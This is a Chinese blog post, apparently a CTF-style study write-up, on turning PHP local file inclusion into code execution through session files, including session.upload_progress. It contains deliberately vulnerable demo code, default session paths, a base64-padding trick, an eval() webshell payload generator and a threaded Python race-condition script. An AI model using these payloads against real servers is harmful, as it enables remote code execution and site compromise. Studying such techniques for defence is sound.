沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

PHP中session的LFI

0x00 前言


上文提到了利用upload_progress可以上传一个session,而且PHP默认地打开session.upload_progress.enabled,并且里面有两个变量是我们可控的,那么除了利用处理器的不同从而造成反序列化漏洞,是不是还可以干点别的呢?

是的,如果一个网站存在文件包含漏洞,我们是不是可以直接写入PHP的代码到session中来构造shell,然后进行文件包含呢?

比了国赛才知道,利用session_upload_progress结合文件包含,是可以不需要session_start()的

0x01 理想实验


首先我们先拿一个session可控的理想的demo,进行测试:

构造session

index.php:

<?php
session_start();
$_SESSION['test']  = $_GET['payload'];
?>

lfi.php:

<?php
    include($_GET['payload']);
?>

我们先在index.php中,把我们的php代码写入到session中:

image-20210413165434513

这里我们可以改一下PHPSESSID,然后就会生成名为sess_chenlvtang的文件。PHP中session.use_strict_mode 是默认关闭的,当启用后,用户就不能自己设定ID。

检查一下

在session的存储文件夹中,查看一下是否成功:

image-20210413170005335

进行文件包含

要进行文件包含,我们首先要知道session的保存路径,一般默认的路径有如下:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

访问有文件包含漏洞的页面,并传参进行包含:

image-20210413201355040

成功地实现了命令执行。但是,这只是理想情况下,我们此时可以控制session,并且没有什么过滤的条件。下面我们来看几种非理想的情况。

0x02 base64加密session


有的时候,服务端会对session进行base64加密,此时我们进行一般的包含的话,是不能将php代码进行解析的。但是我们可以利用伪协议,对文件内容进行base64的解码然后包含:php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_chenlvtang

虽然如此,但是因为session中,不仅仅有base64,还有其他的序列化字符(如a:1{s:4:”test”;…})这时候,如果session前部分(指实际未编码部分)字节数不是4的倍数(4个字节的base64可以解码为3个字节),就会造成解码是乱码。而如果前部分能够恰好被解码,就能够完整的后部分实际是base64加密的部分进行解码,那么,我们就能成功地将代码包含。

image-20210414210424134

php中base64解码特性

我们知道base64,只有0-9a-zA-Z加上+ /或者补全=,那么我们session中的:{};等字符php会怎么解码呢?下面有一个demo:

image-20210414223542517

可以看到,php在解析时,会忽略掉不属于base64编码的字符。这也就表明,我们在保证前部分是4的倍数的时候,要忽略掉这些字符来计算长度

不同处理器下不同的构造

由于php中不同的处理器形成的session存储形式的不同,所以我们在构造时,也要分开考虑

php处理器

这种处理器的格式,在前几篇文章说了: 键名+竖线+经过serialize()函数处理的值

上文的session,若经过这种处理器的处理,应为: test|s:16:"Y2hlbmx2dGFuZw==";,所以我们需要考虑的就是test|s:16:"。由上文可知,他的实际长度字符应为tests16,总共是6字节,还差两字节;但是因为”test”和”s”,这两个是我们没法改变的,所以能改变只能是数字,也就是base64部分的长度,所以我们要让他成为三位数….

写个脚本吧:

<?php
$str = '<?php @eval($_REQUEST["chenlvtang"]);?>';
while(strlen(base64_encode($str))<=100){
    $str = 'a'.$str; 
}
echo $str;
print("\n");
printf(strlen(base64_encode($str)));
?>

输出为:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php @eval($_REQUEST["chenlvtang"]);?> 104

我们在demo里试试看:

首先先像理想实验一样进行传参,?payload=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php @eval($_REQUEST["chenlvtang"]);?>

这时候,我们可以进到对应目录看一下(如果你想的话),结果如下:

image-20210415222515200

可以看到成功构造了前半部分是8字节,然后我们到有包含漏洞的地方进行实验:

image-20210415222228149

这里我忘记抓包设置PHPSESSID了,不过问题不大,实际操作的时候记得抓包就行。

php_serialize处理器

这个处理器下的存储格式为:经过serialize()函数序列化数组。一般长得像这样:a:1:{s:4:"test";s:15:"chenlvtangisFoo";},根据之前的分析,我们的实际长度字符实际是a1s4tests15,总共长为11,还差一位,继续用上面得脚本和payload就行了。

image-20210415224834037

总结

总而言之,在这种session可控的情况下,我们可以通过凑长度,来让base64加密过的session包含成功。但是这个利用点,最大的缺点也是这,需要一个可控的session,并且要知道他的键(如上文的 test)具体长度。所以,下文我们就要来看,在没有直接的session可控的情况下,我们要怎么利用session进行文件的包含。

0x03 利用uplaod_progress


上几篇文章在讲php的session反序列的时候,有讲到过upload_progress。在我们没有可控的session时,我们可以利用upload_progress上传一个session,并且里面有两()个参数是我们可控的;那么,既然我们可以利用处理器的不同,进行反序列化的利用,那我们是不是也可以写入代码,然后进行文件包含呢?

这里关于upload_progress的具体讲解,我就不说了,链接:PHP-Session反序列 | 沉铝汤的破站 (chenlvtang.top)

构造表单

和反序列化中的一样,我们先准备好一个表单

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file1" />
 <input type="submit" />
</form>

抓包+复制

然后在自己本地抓包,修改相应的数据(可以是文件名,也可以是input中设置的name),并让Reapter帮我们自动修改长度。

image-20210416085904740

抓包+爆破

然后到目标网站,先抓包,修改数据后(记得加上关于cookie中phpsessid的设置),进行爆破(其实就是不断发包,因为这里cleanup是默认开启的):

image-20210416091208522

用null payload,然后发包数,写大一点。

访问漏洞页面

同样的可以抓个包,然后疯狂请求有文件包含漏洞的页面,然而…………..

这里不知道为什么,我不管用这种爆破的方式,还是使用脚本,都不成功(cleanup为on的情况下),得到的session内容永远都是a:0:{},我怀疑这和windows有关,下面先放一下脚本吧

另外,不知道一开始burp怎么了,我设置了Cookie: PHPSESSID=xxx,他还是给我随机设置session,后来重启一个burp又好了,很迷,总之浪费我挺多时间的,最后还没复现成功,下次在linux下试一下

import io
import sys
import requests
import threading

sessid = 'chenlvtang'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://test.hah',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval('phpinfo();');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://test.hah/lfi.php?payload=../../Extensions/tmp/tmp/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'session' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

0x04 参考文章


[浅谈 SESSION_UPLOAD_PROGRESS 的利用 | WHOAMI’s Blog (whoamianony.top)](https://whoamianony.top/2021/03/18/Web安全/浅谈 SESSION_UPLOAD_PROGRESS 的利用)

LFI 绕过 Session 包含限制 Getshell - 安全客,安全资讯平台 (anquanke.com)